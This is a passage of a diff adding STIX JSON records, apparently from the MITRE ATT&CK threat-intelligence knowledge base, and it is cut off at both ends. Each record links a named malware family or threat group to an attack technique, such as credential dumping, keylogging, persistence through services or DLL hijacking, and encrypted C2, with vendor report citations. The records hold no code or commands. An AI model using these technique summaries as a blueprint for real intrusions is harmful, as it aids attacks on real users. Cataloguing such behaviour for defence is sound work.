Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) runs whoami on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1c360b2c-8004-4978-ba70-b0bb2257a791", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) leverages a custom packer to obfuscate its functionality.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5ae4207c-95db-4a16-bfac-1d8daf29ba4a", + "external_references": [ + { + "source_name": "S2 Grupo TrickBot June 2017", + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + } + ], + "modified": "2019-06-24T19:15:06.614Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) has a command to return a directory listing for a specified directory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5c84d301-b6d1-4af8-9c25-1260e05fa924", + "external_references": [ + { + "source_name": "Palo Alto MoonWind March 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "New services created by [RawPOS](https://attack.mitre.org/software/S0169) are made to appear like legitimate Windows services, with names such as \"Windows Management Help Service\", \"Microsoft Support\", and \"Windows Advanced Task Manager\".", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--37aa4e22-824b-468c-ae46-d9d007cc7cc7", + "external_references": [ + { + "source_name": "Kroll RawPOS Jan 2017", + "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017.", + "url": "http://www.kroll.com/CMSPages/GetAzureFile.aspx?path=~%5Cmedia%5Cfiles%5Cintelligence-center%5Ckroll_malware-analysis-report.pdf&hash=d5b5d2697118f30374b954f28a08c0ba69836c0ffd99566aa7ec62d1fc72b105" + }, + { + "source_name": "TrendMicro RawPOS April 2015", + "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.", + "url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is capable of leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex for C2.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c2fcdaf4-f4e7-446d-8b92-7a9df7ccc1f8", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "modified": "2019-01-29T18:23:46.232Z", + "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) mimics filenames from %SYSTEM%\\System32 to hide DLLs in %WINDIR% and/or %TEMP%.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5a1876a1-144f-4416-b9bf-6df819613962", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + }, + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "modified": "2019-06-28T20:48:52.589Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Umbreon](https://attack.mitre.org/software/S0221) hides from defenders by hooking libc function calls, hiding artifacts that would reveal its presence, such as the user account it creates to provide access and undermining strace, a tool often used to identify malware.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7653431a-18ac-43da-8308-63c76ecf0c22", + "external_references": [ + { + "source_name": "Umbreon Trend Micro", + "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3d8e547d-9456-4f32-a895-dc86134e282f", + "relationship_type": "uses", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) scans processes on all victim systems in the environment and uses automated scripts to pull back the results.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--39590383-ba69-4d8f-9520-e893cd4ebcdf", + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "modified": "2019-04-24T19:41:25.813Z", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--afcc4ac4-b088-4795-b159-c6245223178b", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.264Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to perform screen captures.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--717d87d5-df97-48a9-8766-c9a947541e1d", + "external_references": [ + { + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a service to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b0099b28-bcb8-4214-8166-d9caed1b6491", + "external_references": [ + { + "source_name": "ESET Sednit Part 1", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + } + ], + "modified": "2019-02-01T14:39:36.312Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tor](https://attack.mitre.org/software/S0183) encapsulates traffic in multiple layers of encryption.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--74486fa3-a5b8-49b2-82b7-0c453b4baf12", + "external_references": [ + { + "source_name": "Dingledine Tor The Second-Generation Onion Router", + "description": "Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.", + "url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68", + "relationship_type": "uses", + "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) can record keystrokes from both the keyboard and virtual keyboard.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--23e2dc58-4b8d-48d8-82fd-d051892a7d58", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) uses svchost.exe to execute a malicious DLL included in a new service group.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1c0e8084-c8a5-4c8d-bac1-bfb7eb07b586", + "external_references": [ + { + "source_name": "Symantec Hydraq Persistence Jan 2010", + "description": "Fitzgerald, P. (2010, January 26). How Trojan.Hydraq Stays On Your Computer. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/connect/blogs/how-trojanhydraq-stays-your-computer" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) has a command to timestop a file or directory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--37804b22-63b4-4b24-846e-6541688d9213", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MimiPenguin](https://attack.mitre.org/software/S0179) can dump process memory and extract clear-text credentials.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d3b810ed-0be4-448b-b1ac-aa3a7dd16c91", + "external_references": [ + { + "source_name": "MimiPenguin GitHub May 2017", + "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.", + "url": "https://github.com/huntergregal/mimipenguin" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--5a33468d-844d-4b1f-98c9-0e786c556b27", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used HTTP and DNS for C2. The group has also used the Plink utility and other tools to create tunnels to C2 servers.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--166326b3-6864-4667-aee9-4d7b24cc75d8", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2019-07-17T16:17:30.177Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) collects files matching certain criteria from the victim and stores them in a local directory for later exfiltration.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fe229513-0cd9-4e9a-a333-2748ef03dfbc", + "external_references": [ + { + "source_name": "ESET Sednit USBStealer 2014", + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) installs itself as a new service with automatic startup to establish persistence. The service checks every 60 seconds to determine if the malware is running; if not, it will spawn a new instance.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--162a051d-a551-4b8c-875a-75264768e541", + "external_references": [ + { + "source_name": "Palo Alto MoonWind March 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Duqu](https://attack.mitre.org/software/S0038) uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8d0d938e-2e4c-49e8-9290-6bfb86161260", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.238Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) can launch PowerShell Scripts.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--58c28a92-b3ed-41de-841d-8b8d1ad142be", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WINERACK](https://attack.mitre.org/software/S0219) can enumerate files and directories.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--33327a36-9f05-4a27-ac6a-d36e4cee0b21", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) use HTTPS for all command and control communication methods.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f22106b0-ca8c-45ad-b20c-5a5ddd7bf886", + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + } + ], + "modified": "2019-07-26T22:56:58.423Z", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192)'s default encryption for its C2 communication channel is SSL, but it also has transport options for RSA and AES.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d90749b-525e-4aa2-9df0-1d5677be0b25", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.927Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) has encrypted C2 traffic with RC4, previously using keys of 88888888 and babybear.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b94e707d-b2f8-4b68-acac-44d3777dd93f", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) can capture screenshots.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f6d23c00-158e-4e39-bf9b-f18344cd0151", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Variants of [WEBC2](https://attack.mitre.org/software/S0109) achieve persistence by using DLL search order hijacking, usually by copying the DLL file to %SYSTEMROOT% (C:\\WINDOWS\\ntshrui.dll).", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--191885b6-1282-4173-a2bd-174c30c8a1dc", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-01-30T15:21:42.389Z", + "source_ref": "malware--1d808f62-cf63-4063-9727-ff6132514c22", + "relationship_type": "uses", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T18:56:25.984Z", + "type": "relationship", + "id": "relationship--46f7ac67-a446-4fbf-8e62-271d619e71f0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--06160d81-62be-46e5-aa37-4b9c645ffa31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SynAck](https://attack.mitre.org/software/S0242) enumerates all running processes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--da7fb67f-3cb2-498d-a832-f98622bc9ee2", + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Kaspersky Lab SynAck May 2018", + "description": 